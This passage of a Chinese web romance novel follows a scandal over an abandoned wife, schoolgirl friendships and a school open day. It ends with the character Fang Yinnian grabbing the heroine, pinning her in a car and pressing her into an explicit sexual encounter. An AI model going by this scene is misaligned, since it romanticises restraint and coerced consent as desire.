【确实有人爱江山不爱美人,纯纯事业脑,但我感觉这种人是没见过姜以柔这种级别的美人……可这个林松齐真的有点超出我的想象了,他怎么忍心的?!】 【这林松齐到底咋想的啊?如果我能有姜以柔这么美的老婆,让我天天吃糠咽菜也甘心,可他竟然为了点钱就抛弃了她?】 【林松齐……心硬得可怕啊,果然能当豪门上门女婿的人都不简单。】 【据说姜以柔怀孕的时候才十几岁……这不纯畜生吗?】 【都十几年了,这货现在才想挽回?做梦吧!以柔你可千万别心软啊啊啊!】 【没见过这么眼瞎的男人,不过也感谢他的眼瞎和愚蠢,现在姜姐姐单身,大家都有机会了嘿嘿!】 【林松齐不就是典型的抛弃妻女然后攀高枝的凤凰男吗?谁是被他攀上的高枝啊?他都打算吃人绝户了,能不能提醒下这位倒霉的豪门小姐啊?】 【那位豪门小姐不一定无辜,说不定她就是故意抢男人呢?】 …… 这件事在网络上引发了极大的讨论,愤怒的网友们很快就把林松齐扒了个底儿朝天,倒是意外地给林松齐造成了不小的麻烦。 至此,他跟乐婉儿的矛盾算是被摆在了明面上,他也没有多说什么,只一声不吭地搬出了乐家,并留下了一封离婚协议书。 他一同带走的,还有乐家公司的大半股份、人脉和骨干员工,几乎只给乐婉儿留下了一个空壳。 虽然乐婉儿之前就察觉到了林松齐的意图,已经开始在暗中尽力补救,但她终究是发现得太晚了,短短几天的补救怎么敌得过林松齐十几年的暗中侵蚀? 乐氏一时间陷入了重大危机。 不过,林松齐也并不好过,网络上的负面舆论对他造成了很严重的影响,他公司的股价都蒸发了不少,同样让他焦头烂额。 但林松齐很快就想出了个很损的招数。 网络上突然流传出十几年前乐家的秘闻,据说,乐家大小姐素来骄纵任性,对一表人才的穷小子林松齐一见钟情,哪怕知道他已经有妻有女,还是用权势逼迫他就范。 于是,在不得已的情况下,林松齐只能抛弃已经怀孕的姜以柔,“忍辱负重”地跟乐婉儿在一起。 这则传闻巧妙地将林松齐的过错撇了个一干二净,将这件事塑造成了乐婉儿横刀夺爱,抢走了姜以柔的丈夫。 不得不说,他很聪明,人们总是更爱看两个女人扯头花,而对于乐婉儿这个胆敢跟姜以柔抢男人的,也抱有更大的恶意。 一时间,网友的火力全部集中到了乐婉儿及乐家的身上,林松齐倒是从这件事里稍微隐身了,受到的辱骂和针对降低了不少。 乐氏的管理层焦头烂额,他们本来就被林松齐啃下了一大块肉,可以说是伤筋动骨,再也经不起更多动荡了。 于是,有高层联系到乐婉儿,恳求她出面澄清一下。 乐婉儿早已失去了往日的精致从容,脸色惨白无比,她恍惚地问道,“澄清?澄清什么?” “就说是林松齐刻意隐瞒了自己的婚姻状况,才哄骗了你结婚……” 乐婉儿沉默了许久,只自嘲一笑,喃喃道:“可是,他说的其实是事实。” 她确实早就知道林松齐有家室,也确实恬不知耻地……抢了别人的丈夫。 但凡被她抢了丈夫的不是姜以柔,而是一个普通女人,骤然失去了丈夫,再加上怀孕……她的结局恐怕不会太好。 她乐婉儿真的是个自私自利、被惯坏了的人,她从来只顾着自己开心,而不会在乎别人的死活。 所以……现在她被抢来的男人骗身骗心,甚至骗走大部分家业,是活该。 她被网友们辱骂嘲讽,也是活该。 乐婉儿浑身颤抖,突然趴在桌子上,放声大哭了起来。 公司高层无奈地看着她,重重叹了口气。 真是作孽啊! 大小姐当年真是失心疯了,怎么非得要抢一个有家室的男人呢? 这下倒好,抢来一个中山狼,把老乐总几十年来奋斗的成果都夺走了,唉…… 网络上的风波同样延伸到了现实世界。 第二天,姜渔去上学的时候,就发现周围人对她的态度变了,望向她的眼神里透着股浓浓的怜爱,简直恨不得把她当成小婴儿一样呵护,搞得姜渔浑身起鸡皮疙瘩。 同时,他们对乐柠的态度就有点不友善了。 大概是为姜以柔和姜渔感到不平,对于造成她们苦难的乐家母女,学生们都鼻子不是鼻子眼睛不是眼睛,谈起来时一脸不屑。 “喂,听说了吗?原来乐柠经常炫耀的爸爸,实际上是姜渔的爸爸来着……嘁,看她平日里很温柔的样子,没想到这么虚伪。” “怪不得姜渔之前一直对她没有好脸色呢,谁能对抢了自己爸爸的人心平气和啊?” “唉,是啊,我之前还觉得姜渔性格不好,替乐柠觉得委屈呢,结果……是我误会小渔了呜呜!” “乐柠她妈做了那种事情,她怎么好意思跟姜渔套近乎的啊?要是我肯定臊得没脸见人了……” “乐柠最近好像挺沉默,她是不是早就知道了啊?” …… 感受到同学们异样的注目,和那些细微但难以忽视的指指点点,乐柠深深地垂下头,她的眼眶不受控制地红了起来,几乎将嘴唇咬出血。 明明受到了侮辱与冷眼,可乐柠却升不起什么怒意,只有深深的无力。 因为……她问心有愧。 教室里的闲言碎语同样被姜渔收入了耳中,她几乎将笔捏断,脸色也越来越难看。 终于,她忍不住猛地站起身来,厉声喝道:“够了!” 叽叽喳喳的讨论声顿时停歇,众人都愣愣地望向姜渔。 姜渔阴沉着脸扫视过在场的每一个人,再开口时嗓音冷到了极点:“你们之前言语霸凌我还不够,现在又要换个人欺负吗?” 有人委屈地嘀咕道:“我们这不是为你打抱不平吗……” 姜渔冷哼一声:“你们不是为我打抱不平,只是借机满足自己的窥探欲而已。” 姜渔深吸一口气,郑重其事地扬声道:“这件事乐柠并不知情,她也只是个受害者而已。” 姜渔微微垂眸,正对上乐柠仰头看过来的那双泪眼,心脏不由得狠狠颤了下。 她抿了抿唇,有些不自然地说道:“她……是我的朋友,我不希望再听到有人说她的闲话。” 教室里安静了许久,终于有人乖乖地应声道:“好啦,小渔,我们知道错了,以后不说就是了。” “我们真的是替你委屈嘛,但既然你不介意,那就没什么可说的了……” 其实乐柠在班里的人缘还不错,这次也是她妈妈做的事太不道德,才引发了众怒。 更何况这件事还涉及他们最喜欢的姜以柔,自然而然地便会对乐家母女生出恶感。但在姜渔帮乐柠发声之后,大多数人都理智了一些,不再肆无忌惮地谈论了。 姜渔见状松了口气,缓缓坐回了位置上。 过了一会儿,有人期期艾艾地凑到她面前。 姜渔不用抬头,也知道是谁。明明她刚才还说乐柠是她的朋友,这会儿却别扭得不想抬头看她。 最后还是乐柠先开口了,“小渔,谢谢你……” 乐柠的嗓音有些沙哑,看来这段时间她都很不好过。 乐柠眼眶泛红,看着姜渔轻声道:“还有,对不起。” 姜渔神情一滞,皱眉望向她,说道:“你道什么歉?” 姜渔是真的不认为乐柠有错。 之前她或许嫉妒过乐柠,自认为她抢走了属于自己的父爱。但自从姜以柔出现后,父爱对她来说已经是无所谓的东西。 也正因为如此,她才能慢慢正视乐柠的好,摒弃对她的偏见。 乐柠搅了搅手指,有些无措地说道:“我妈妈……” 姜渔径直打断了她,淡声道:“大人的事,跟你没关系。” 乐柠怔怔地看着她良久,那双红肿暗淡的眼睛一点点亮了起来,她破涕为笑,哽咽着问道:“小渔,我们真的是朋友了吗?” 姜渔握着笔的手指紧了紧,面上一派云淡风轻:“嗯。” 其实……早就是朋友了。 * 不得不说,林松齐这一招祸水东引用的很毒,世人本就对女人苛刻一些,更何况涉及到姜以柔,大家都替她感到委屈,便更加看不惯乐婉儿的行为。 这件事在网络上愈演愈烈,乐氏集团成为了焦点,他们本就因为林松齐的割席而元气大伤,现在更是处境艰难。 当然,林松齐也并不好过,哪怕他已经努力让自己隐身,但所有人在骂乐婉儿的同时,也没忘了顺嘴骂一句渣男。 而且方隐年和谢凛都不会放过他。 林松齐本以为,挖走乐家的大半根基之后能大展拳脚,可他紧跟着就遭受了业内的围剿。 手段狠辣而不留情,完全是把他往死里逼。 林松齐被打得猝不及防,一时间焦头烂额,公司也有种摇摇欲坠的意味。 原本他还期待着姜渔这个亲女儿能帮他传递消息,让他跟姜以柔见上一面,诉诉衷肠,现在他是完全没心思想这些了,每天应付那些明枪暗箭,光是为了不破产就费劲了心力。 外界的纷纷扰扰,对姜以柔来说却是过眼云烟。 她照常过自己的生活,没有丝毫回应的意思。 她唯一觉得比较苦恼的是,最近谢凛又忙起来了,几乎忙得脚不沾地,不能再像前几天那样天天陪着她了。 当她问起的时候,谢凛狭长幽黑的眸中有一掠而过的阴鸷,很快又迅速掩去,他若无其事地说道:“没事,工作上的一点麻烦,很快就能处理好。” 姜以柔没有多问,只是在谢凛越来越忙的时候,感觉有点无聊,也有点寂寞。 恰在此时,便宜女儿之前提起的“校园开放日”来了。 如果说之前姜以柔主动说要参加,更多的是为了照顾便宜女儿那敏感的内心,那现在的姜以柔是真的很期待了。 自从她走红网络后,无论去哪儿都会引发众人的追逐和围观,有了几次被围堵的经历后,姜以柔就不怎么出门了。 前几天有谢凛陪着她,两人倒是能一起找点乐子,现在谢凛也忙得不见人,姜以柔便深感无聊。 圣维尔学院的校园开放日,对她来说就是个很不错的放松机会。 因为圣维尔学院安保严格,能挡住大部分不怀好意的人;而这所学校里的家长基本都是有头有脸的人物,不会做出过于离谱的疯狂行为。 所以,校园开放日当天,姜以柔果断去了。 出发之前,姜以柔再次问谢凛:“你真的不能陪我去吗?” 谢凛正在打领带,黑衬衫包裹着他结实有力的身躯,胸口处的布料撑得鼓囊囊,他修长的手指穿过领带,那微扬着下颌的模样,一股强烈的雄性荷尔蒙扑面而来。 听到姜以柔的问题,谢凛快步走到她身前,一把箍住她的腰,将她网上提了提。 他俯身攫住姜以柔的唇,矫捷得像一只猎豹,侵略感十足。 姜以柔挂在他身上,被他亲得腰肢泛软,眼里闪着泪花,喉间溢出诱人的轻哼。 姜以柔被他挑动了情潮,红着脸往他身上贴,可谢凛却一脸隐忍地放开了她。 他不舍地摩挲着她的侧脸,狭长幽黑的眼眸紧锁着她,里面满是渴望,他难耐地滚动着喉结,却只能哑声开口道:“我还有工作,乖,晚上回来陪你。” 姜以柔脸色一变,不开心地推开了他,冷哼道:“随便你。” 然后,姜以柔便踩着高跟鞋,头也不回地离开了,每一步里都蕴着怒意。 谢凛已经好几天没陪她了,姜以柔非常不爽。 谢凛看着那细腰摇动的窈窕背影,黑眸里燃起了炙热的暗火,但他最终也只能无奈地揉了揉眉心。 他抓起西装外套,快步出了门,面色恢复了冷肃。 他的公司最近也遇到了不小的麻烦,逼得他没时间陪伴姜以柔。 而他很清楚这一切是谁在搞鬼。 谢凛黑眸微眯,脸色冷得吓人。他砰的一声关上车门,直奔公司而去。 姜以柔出门的时候还在生气,不过到了圣维尔之后,心情很快就好了起来。 她笑着跟张校长等人寒暄,很快就把那些烦心事抛到了脑后。 张校长还特意给她安排了一个贵宾席位,让她能够以最好的视角去观看演出。 等到了学生代表发言环节时,姜渔始一上台,便爆发出空前热烈的掌声。 姜渔背脊挺直,面色肃然,哪怕面对这样的大场面也丝毫不慌,镇定自若地做完了演讲。 一切都很顺利,但只有她自己才知道,她的演讲稿都被她的手汗浸湿了,因为太紧张了。 等她讲完最后一个字,她才悄悄松了口气。 台下掌声雷动,但姜渔并不在乎他们,只偷偷看向一个人。 果然,姜以柔正坐在台下不远处的贵宾席位里,微笑地凝视着她,那双美丽的眼眸中如同落了星子,盈着温柔动人的光芒,似乎在为她感到骄傲。 姜渔定定地望着她,不自觉勾起一个浅笑,姣好的面孔瞬间柔和下来。 台下,姜渔的同学们一样在卖力地鼓掌。 他们感慨地看着姜渔,忍不住嘀咕道:“你看到了吗?小渔刚才竟然笑了。” “看见了,她笑起来竟然是可爱挂的,还有个小梨涡唉!” “这么一说我才意识到,原来姜渔从来不笑的,一直阴沉着脸。” “现在,她应该很开心了吧,希望她以后能多笑笑。” …… 姜以柔笑着为便宜女儿鼓掌,在听到脑海里系统666说,女配的黑化值已经只剩最后5%的时候,很是欣慰地笑了笑。 辛辛苦苦这么久,终于胜利在望了。 姜渔始一下台,就径直跑到了姜以柔面前,她也不说话,就双眼亮晶晶地盯着她。 姜以柔毫不吝啬自己的夸赞,笑着说道:“小渔,你真的太棒了……” 姜渔被夸得心里爽翻了,但面上还是要努力绷着脸,装出一副云淡风轻的镇定模样。 但她人已经诚实地粘了上去,紧紧跟在姜以柔身边。 远处,有两个人正默默地注视着她们。 乐柠遥遥地看着姜以柔,纠结地咬紧了下唇。 以前她是很爱跟姜以柔套近乎的,但自从知道了林松齐所做的事情……她就再也没有脸凑上去了。 乐柠的旁边,正是乐婉儿。 她憔悴了许多,再不复曾经的光彩照人,整个人都像是被抽走了精气神。 她怔怔地看着姜以柔,轻声呢喃道:“她真美……” 乐婉儿痛苦地闭上了眼睛,自惭与羞愧等种种负面情绪扑面而来,几乎压得她喘不过气。 乐柠连忙扶住她的肩膀,满脸担忧地问道:“妈妈,你没事吧?” 乐柠也曾怨过她的糊涂,气过她的不道德行为,但她终究是她妈妈,乐柠对她更多的是心疼。 “我们回去吧?”乐柠抿起唇瓣,蹙眉盯着她。 其实她不想让妈妈参加这次的校园开放日,因为最近她们正处于风口浪尖。 果不其然,从乐婉儿出现在这里开始,她们一直受到其他人异样的目光,还有很多的窃窃私语。 乐柠很担心妈妈的情绪,但出乎意料的是,乐婉儿还算平静。 现在,乐柠想要带她离开,可乐婉儿却轻轻推开她的手,在深吸一口气后,她坚定地迈步,朝姜以柔的方向走去。 乐柠怔了一瞬,连忙跟上。 当乐婉儿走到姜以柔面前时,四周不自觉安静下来。不少人都纷纷停下了动作,偷偷地瞥着她们,眼里闪烁着八卦的光芒。 姜以柔原本正跟姜渔说笑,看到乐婉儿之后,有些疑惑地问道:“你是……?” 此话一出,乐婉儿的神情瞬间僵硬了,其他人也露出微妙的表情。 这……林松齐和乐婉儿的那点破事最近全网都是,可姜以柔这个处于风暴中心的,被渣男伤害的前妻……竟然连乐婉儿都不认识?! 看来,姜以柔还真是没把他们放在心上啊。 乐婉儿也反应过来,姜以柔恐怕根本没将她放在眼中,甚至连林松齐这个辜负了她的人都不在意,否则不会是这副表现。 乐婉儿不由得苦笑了一下,几乎无地自容。 她深吸一口气,勉强平复了下心情,尽量冷静地说道:“姜小姐,你好,我是……乐婉儿。” 这时,乐柠也急匆匆跑到了乐婉儿的身边,挽住了她的手臂。 乐柠期期艾艾地看了姜以柔和姜渔一眼,很快又低下了头。她紧紧咬着嘴唇,像是根本无法面对她们。 姜以柔怔了怔,终于意识到了乐婉儿的身份,笑着询问道:“你是乐柠的妈妈?” 姜以柔的态度客气又温和,笑容明媚:“很高兴认识你,你的女儿很可爱。” 乐婉儿有一瞬间的失语,良久才强笑着点了点头:“谢谢。” 乐婉儿以为她会提起林松齐,以为她会控诉自己抢男人的行为,但她实在没想到,姜以柔根本没有提起那个男人,这副全然不在乎的态度让她的挫败感又深了几分。 可是,姜以柔大度不在乎,她却不能装傻。 乐婉儿鼓起勇气看向她,一字一句认真地说道:“姜小姐,对不起,我……” 乐婉儿本意是想郑重地道歉,可她刚说了几个字,就忍不住哽咽起来,最后更是泣不成声。 姜以柔静静地看着她,漂亮的眼眸中没什么波澜,像是在看一出与自己无关的戏剧。 但看到乐婉儿这副泪流满面的模样,她还是轻叹一声,递给了她一张纸巾。 乐婉儿哭得太过投入,竟然没看到姜以柔递来的纸巾,只低着头狼狈地痛哭。 姜以柔有些无奈,干脆上前一步,轻轻地将纸巾印在了她的脸上。 乐婉儿骤然僵住了,怔怔地抬头望向她。 那个漂亮得不可思议的女人离她很近,正在温柔地帮她拭泪,美好得恍若神女临世。 姜以柔给她擦了擦眼泪,柔声安慰道:“别哭了。” 乐婉儿确实有做得不对的地方,但她已经为此而付出了代价,所以,姜以柔对她更多的是一种怜悯。 当然,她也没什么耐心去哄对方,所以,在礼貌性地安慰了两句后,姜以柔便果断告辞了。 “我还有事,就先走了。”姜以柔转眸看向乐柠,脸上的笑容倒是真诚了许多,“小渔,有空记得来家里玩。” 乐柠感受到了来自姜以柔一如既往的善意,原本忐忑的眸子瞬间亮了起来,她重重地点头应道:“嗯!” 姜以柔最后冲他们挥了挥手,便转身离开了。 姜渔紧紧地跟在她身边,离开前,她转头看了乐婉儿一眼。 姜渔静静地打量着这个女人的狼狈和脆弱,这一刻,心里最后的一点芥蒂也消散了。 她冲着乐柠轻轻一笑,挥了挥手,便快步跟上了姜以柔。 少女蹦跳的背影里满是生机。 后来,姜以柔给乐婉儿擦眼泪的这一幕,被围观者拍照传到了网上。众人借此窥到了姜以柔的态度,对乐婉儿的讨伐倒是少了些,转而去集火渣男林松齐了。 * 临近中午,姜以柔和姜渔一起去了圣维尔学院的食堂。 姜渔倒是吃惯了食堂的饭菜,全程埋头苦吃,但姜以柔只吃了一口,就兴致缺缺地放下了筷子。 “你不吃了吗?”姜渔疑惑地看着她。 姜以柔笑了笑,说道:“我现在还不饿,等回家再说吧。” “可是下午还有其他活动呢,你会饿的。”姜渔想要劝说她多少吃一点,但姜以柔根本听不进去。 恰在此时,谢凛的电话打了进来,姜以柔便起身找了个安静的地方接电话。 “今天玩得开心吗?”谢凛低声问道。 在谢凛面前,姜以柔立刻开始撒娇般抱怨:“这里的饭太难吃了,我根本就不想吃。” 谢凛嗓音微沉,轻声劝道:“不吃饭怎么行?” 姜以柔轻哼一声:“我就是不想吃,我只想吃你做的饭。” 姜以柔嗓音清软,简直腻到人骨子里,让人完全无法抗拒:“你今天早点回家做饭,好不好?” 谢凛这几天忙得脚不沾地,都很久没有亲手给她做饭了。 谢凛沉默片刻,低声应道:“好。” 两人又黏糊地聊了会儿天,在谢凛必须去工作时,才依依不舍地挂了电话。 姜以柔不想回食堂,便给姜渔发消息说了一声,在校园里闲逛了起来。 圣维尔学院很大,也很美,姜以柔漫无目的地逛着,并未注意到身后缓缓驶来的一辆豪车。 车子停在她身后不远处,随即是车门打开又关闭的声音,再然后是一阵沉重而有节奏的脚步声。 姜以柔察觉到了异样,刚想回头看一眼,下一秒却被人猛地从身后箍住。 姜以柔下意识地想尖叫,却被一只灼热的大手堵住了嘴巴,所有惊呼声都咽了回去。 姜以柔害怕得瞪大了眼睛,就在她不知所措时,耳边感受到了滚烫的呼吸。 随即是一道熟悉的嗓音,“是我。” 方隐年。 意识到来人是方隐年后,姜以柔瞬间放松下来,但紧接着心头就涌上了一股怒火。 她奋力挣扎起来,很想转身狠狠甩他一巴掌。 他是有病吗?突然这么吓她?! 然而,方隐年非但没有放开她,反而俯身将她整个人都扛了起来。 一阵天旋地转后,姜以柔发现自己被他塞进了豪车的后座。 姜以柔只觉得身体一重,一具高大炙热的身躯便压了下来,将她整个人包裹、侵占。 姜以柔想要挣扎,手脚却也被牢牢制住,动弹不得。 耳边随即响起方隐年嘶哑低沉的声音,犹如地狱里爬出来的恶鬼。 “姜以柔……折磨我,很好玩吗?” 第115章 圣维尔学院里一处人迹罕至的幽静小道上, 一辆宾利车静静地停在道旁。 车外非常安静,只有微风拂过落叶的簌簌声响,但若是仔细观察的话便能发现, 这辆豪车的车身有一丝微不可察的晃动。 车内是与车外截然不同的躁动,温度也节节攀升。 豪车后座,姜以柔被牢牢按在座椅上, 她背后是真皮座椅微凉的触感, 身前却压着一具滚烫坚硬的身躯,那股强猛霸道的气息将她完全笼罩, 压得她几乎喘不过气来。 姜以柔此时还没意识到问题的严重性,她正愤怒地瞪圆了眼睛,手脚并用地挣扎着, 她冲着方隐年又打又踹, 气得直骂他: “方隐年,你有病啊?你想吓死我吗?”姜以柔后怕得直喘气,胸口剧烈起伏着,荡起惊心动魄的涟漪, 格外诱人。 方隐年一只手便能圈住她两个纤细的腕子, 很快便将她压制得动弹不得。 方隐年伏在她身上,居高临下地打量着日思夜想的人,狭长的黑眸变得越发幽深。 他用舌尖顶了顶腮侧, 脸颊上还残留着火辣辣的痛意。 她扇巴掌的时候,还真是丝毫不留手啊。 回想起她巴掌扇过来时柔软的掌心, 和幽幽的香气, 方隐年死死盯着那因怒意而微微泛红的脸庞,灼若芙蕖,艳得让人挪不开眼睛。 方隐年定定地看着她许久, 突然意味不明地勾了勾唇角。 那笑容绝对说不上和善,让他英俊的面孔显出几分阴鸷。他薄唇微启,嗓音嘶哑而低沉:“姜以柔……为什么不接我的电话?” 方隐年面色沉冷,那双狭长上挑的凤眸中满是压抑的怒火。 这些天来,他的每一个电话和短信都石沉大海,姜以柔甚至拉黑了他。 他想过去家里找她,可那个姓谢的安排了很多人手,他根本进不去。 每一个见不到姜以柔的夜里,他都辗转难眠,尤其是想到姜以柔此时正跟姓谢的在一起……不知道有多甜蜜,他更觉得胸口有把烈火在烧灼,烧得他理智崩断。 方隐年死死盯着她的脸,眸中渐渐浮上近乎扭曲的满足,他俯身压下,鼻尖蹭到她的脖颈间深深地嗅了嗅。 那股熟悉的幽香涌入鼻间,顺着喉管充盈在他的体内,终于将这些时日积攒的暴戾成功安抚,他只感到一股深入骨髓的救赎,让他兴奋得灵魂都在战栗。 “还好……”方隐年一边感受着她的气息,一边轻轻地在她颈侧印下一个轻吻,喟叹地说道,“终于抓到你了。” 那嘶哑的嗓音里隐隐透着股狂热,让人不寒而栗。 姜以柔眉头紧蹙,猛地偏过头,嫌弃地避开了他的吻。 她仿佛没有意识到方隐年险些被她逼疯,依旧是那副颐指气使的不耐烦态度,毫不客气地斥道:“我不是说了最近不要见面吗?你赶紧滚……” 闻言,方隐年瞬间沉下了脸。 他唇边扯起一个冰冷的弧度,状似漫不经心地问道:“你就不想我吗?最近……” 【请点段评→】 “谢凛应该没有满足你吧?”说着,方隐年……激起姜以柔的一阵酥麻。 姜以柔瞬间就软了身子,再没了挣扎的力气,唇边也控制不住地溢出一丝轻哼。 即便是隔着一层西装,那里也极有存在感,瞬间将姜以柔拉回了曾经抵死缠绵的记忆。 姜以柔有些失神,小口小口地喘着气。 过了一会儿,她才慢慢回过神来,敏锐地察觉到了方隐年话中的深意。 她蹙眉盯着他,下意识地问道:“你怎么知道……” 谢凛最近忙到没时间满足我? 姜以柔理智尚存,及时把话咽了回去,她可不想跟方隐年探讨自己跟谢凛的那种事。 她探究地打量着方隐年,触及他面上微嘲的冷意后,脑海中灵光一现,顿时意识到了什么。 她眯起眼睛,神色不善地质问道:“所以,最近谢凛的公司出了问题,又是你在搞鬼?” 方隐年不置可否地笑了笑,那笑意却不达眼底,狭长的凤眸中尽是凉薄的寒意。 方隐年居高临下地盯着她,淡声说道:“你不会以为,我会放任他跟你甜甜蜜蜜吧?” 他不好过,那谁都别想好过。 姜以柔气结,愤愤地瞪了他一眼,怒道:“你无不无聊?!” 感受到姜以柔蓬勃的怒火,方隐年却反而轻笑出声。 他俯身在那嫣红的唇瓣上落下一个轻吻,贴着她的唇低声道:“别气,我这不是特意来满足你了吗?” 姜以柔几乎被他的不要脸气笑了,她愤愤地瞪着他,一字一句道:“给我滚!” 被姜以柔如此不留情面地拒绝,方隐年也不生气。 他一只手箍着姜以柔的手腕,另一只手熟门熟路地……稍一用力,便将东西扯了下来。 姜以柔大惊失色,开始努力挣动,试图推开他。 方隐年轻笑一声,直接用膝盖顶了上去。 姜以柔潋滟的眸子很快就染上了泪意,呼吸格外急促。 方隐年唇边噙着一抹笑,好整以暇地问道:“要不要?” 姜以柔狠狠瞪了他一眼,那波光潋滟的眸子却更像是在勾引。她深吸一口气,用有些发颤的嗓音说道:“不行……谢凛说,他晚上会回来……啊!” 姜以柔话音未落,尾音却猛地变了调,因为方隐年脸色骤沉,更用力地碾了碾。 姜以柔浑身发颤,眼角落下泪水。 她还惦记着谢凛的承诺,说晚上会回来陪她,她怕跟方隐年乱来之后,会被他发现端倪。 方隐年面色沉冷,胸膛剧烈起伏着。 谢凛……又是谢凛! 方隐年眸底泛起猩红之色,胸口处压下的暴戾再次翻腾起来。 他受够了姜以柔屡次为了别的男人而拒绝他,让他恨得想要杀人。 不过,迎上姜以柔倔强的眼神,方隐年蓦地扯出一个讽笑。 “好啊。”方隐年出乎意料地答应了。 他俯身逼近,灼热的气息喷洒,紧紧缠绕着她,哑声承诺道:“只要你不同意,我绝对不进去。” 姜以柔有些狐疑地看着他,“真的?” “当然。”方隐年皮笑肉不笑地应道。 姜以柔抿了抿唇,面色有些纠结,但最后,她还是红着脸缠上了方隐年的劲腰。 她、她就解解馋…… 方隐年勾唇一笑,咔哒一声。 姜以柔大惊失色,立刻想要拒绝,“骗子,你说过不进来的……” 方隐年却一把撑住了她的膝盖,淡声道:“放心,我说不进去,就不进去。除非……” “你求我。”方隐年死死盯着她,凤眸猩红,轻声说道。 说完,他便开始动作起来。 方隐年恪守诺言,真的没有进去。 ………………………… 这时,方隐年再次凑到她耳边,哑声询问道:“以柔……要不要?” 方隐年额角青筋暴起,鬓发都被汗水浸湿了。那双凤眸泛着隐忍的猩红色,像只几欲爆发的野兽,迫切地想要释放自己。 他比姜以柔忍得更加难受。 姜以柔双眼迷离地看着他,似乎有些反应不过来他话中的意味。直到方隐年又问了一遍,她才咬着唇轻轻摇了摇头。 不要。 方隐年眸光骤沉,几乎将牙都要碎了。 他深吸一口气,按捺住那股不顾一切的冲动,哑声再次开口:“以柔,我可以跟你保证……今晚谢凛回不去。” 姜以柔闻言微微一怔,直勾勾地望向他,颤声问道:“……什么?” 被那双含泪的眼眸盯着,方隐年只觉得一颗心都要融化了,与之相对的是他的身体。 方隐年喘着粗气,用力亲了她一口,扯出一个无情的冷笑,说道:“我说,谢凛今晚回不去,也满足不了你。” “我说到做到。”方隐年眼眸猩红,一字一句冷酷道。 “所以……”方隐年凤眸微眯,紧紧盯着她,近乎呢喃地轻语道,“到底要不要?” …… 姜以柔终于受不住地哭叫出声,双手紧紧抱住他的脖颈,哽咽着说道:“要、要……” 她满眼是泪,已经被方隐年磨得理智全无,再也顾不得什么。 终于得到满意的回答后,方隐年得逞般勾了勾唇角,紧蹙的眉心也舒展开来。 然而,他却并没有立刻动作,甚至一反常态地起身。 姜以柔身上骤然一轻,感受不到那具火热结实的身体后,她有些茫然地眨了眨眼睛,怔怔地朝他看去。 方隐年起身,坐回了座椅上。 他大马金刀地坐着。 方隐年轻轻拍了拍大腿,好整以暇地淡声道:“自己来。” 姜以柔瞬间呆住了,等反应过来他的意思后,脸颊蹭的红透了。 她气结地拢了拢胸口的衣服,怒瞪着他骂道:“方隐年,你这个混蛋!” 方隐年轻轻一笑,眸光幽幽地盯着她,凉凉地说道:“对,我是混蛋。” “所以……混蛋的口口,你要不要吃?”方隐年屈起手指,轻轻蹭了蹭她的下颌。 明明他的手指很热,可姜以柔却莫名有种被毒蛇舔舐的阴冷感。 姜以柔气得一把拍开他的手,继续骂道:“你不要脸!” 方隐年对她的咒骂全盘接受,甚至还能淡定地回应道:“我如果要脸的话,怎么做你的小三?” 姜以柔:“……” 姜以柔瞪大眼睛,有些不敢置信地看着他,半晌才怔怔说道:“方隐年……你以前不是这样的。” 方隐年眼眸微垂,浓密的睫羽掩住了那双凤眸中翻涌的暗色。他低低地一笑,嗓音嘶哑地说道:“我变成这样……不都是拜你所赐吗?” 他终究是一步一步被她逼疯了。 但无所谓,只要能拥有她,变成疯子又何妨? 方隐年一把握住她的腰,将她整个人提了起来,安置在自己的腿上。 他引诱般低声哄道:“来……” 姜以柔小猫般轻吟一声,下意识地环住了他的脖颈,像株藤蔓般紧紧缠绕在他身上。 她无心计较其他,脑海完全被占据。 姜以柔紧咬着下唇,面上泛着羞耻的红晕,但还是探出一只手…… 方隐年微微扬起下颌,眉头隐忍地蹙起。 …………………… 姜以柔倒是解馋了,方隐年却被她吊得不上不下。 他呼吸急促,额角迸起的青筋昭示着他的隐忍。 在姜以柔这么不紧不慢地磨了他五分钟后,方隐年的理智终于崩断了。 他两手握住那纤细的腰,几乎可以完全环住,然后按着她的腰用力—— 姜以柔猛地扬起头,红唇微张,却发不出一点声音。她不受控制地瞪大了眼睛,泪水汹涌而下,身体剧烈地颤抖起来,像一只窒息濒死的天鹅。 …… 汗水在他侧脸蜿蜒,从下颌处滴落,落在姜以柔身上。 方隐年毫不犹豫地低头,将那滴汗珠吮掉的同时,轻轻咬住了那一块,仿佛恨不得将她吞下去。 …………………… 姜以柔抓紧方隐年的肩膀,指甲都掐了进去,她扭着腰想要逃离,却怎么都躲不开那双铁钳般的大手。 …………她的腰际甚至被掐出了几个指印,红红的煞是可怜。 可惜这时候的方隐年可没什么怜香惜玉的心思,他已经彻底疯了。 姜以柔几乎脱力,软软地挂在他身上,若不是有他的手臂做支撑,恐怕早就软倒了。 她怔怔地看着车顶,真的有种灵魂出窍般的虚脱感。 果然,她不该招惹方隐年这个疯狗的…… 姜以柔愣愣地想道。 车内的温度不断升高,四处弥漫着浓烈的情意,姜以柔甚至有种喘不过气的感觉。 她第一次有种受刑的感觉。 不是不爽,而是太爽了,爽得她快要发疯,快要晕厥了。 她真的受不住了! 姜以柔呜呜地哭出声,断断续续的,好不可怜,“呜呜,我不行了,放过我吧……” 方隐年粗喘着把她按进怀中,爱怜地吻去她脸上的泪痕,低声哄道:“很快,再忍一忍……” 到最后,姜以柔很想大骂他是骗子,却连开口的力气都没有了。 他根本就没有“很快”! 姜以柔只觉得自己像一条无助的小船,在大海中飘荡,风浪吹打在她身上,让她一直颠簸个不停。 她竟然有种想吐的感觉,这太可怕了。 最后,过了不知道多久,方隐年终于闷哼一声。 姜以柔根本说不出话,软倒在他身上大口喘着气。 云收雨歇,两人并没有立刻分开,而是紧紧地相拥,感受这一刻的温情。 过了一会儿,姜以柔撑起身体想要离开,却被方隐年一把按了回去。 姜以柔闷哼一声,脚趾猛地蜷起,她缓了好一会儿,才红着眼睛瞪向方隐年,“放开,我该回去了。” 方隐年的脸色不复先前的沉冷,眼角眉梢都透着股餍足。他懒散地按住姜以柔的脑袋,一把将她摁回了怀中,轻声道:“别急,再让我抱一会儿。” 方隐年一边轻抚着她的长发,一边不动声色地抬腕看了眼表。 时间应该差不多了,他也该到了吧。 方隐年漫不经心地想道,唇角勾起一个冰冷玩味的弧度。 姜以柔想离开,却被方隐年死死按住,他甚至威胁说再闹腾的话,就再来一轮。 姜以柔气结,却拿他没办法,只能不情愿地缩在他怀里。 姜以柔也是累惨了,她跪坐在方隐年的腿上,脸埋进他的胸口,趴了没一会儿,竟然有些昏昏欲睡。 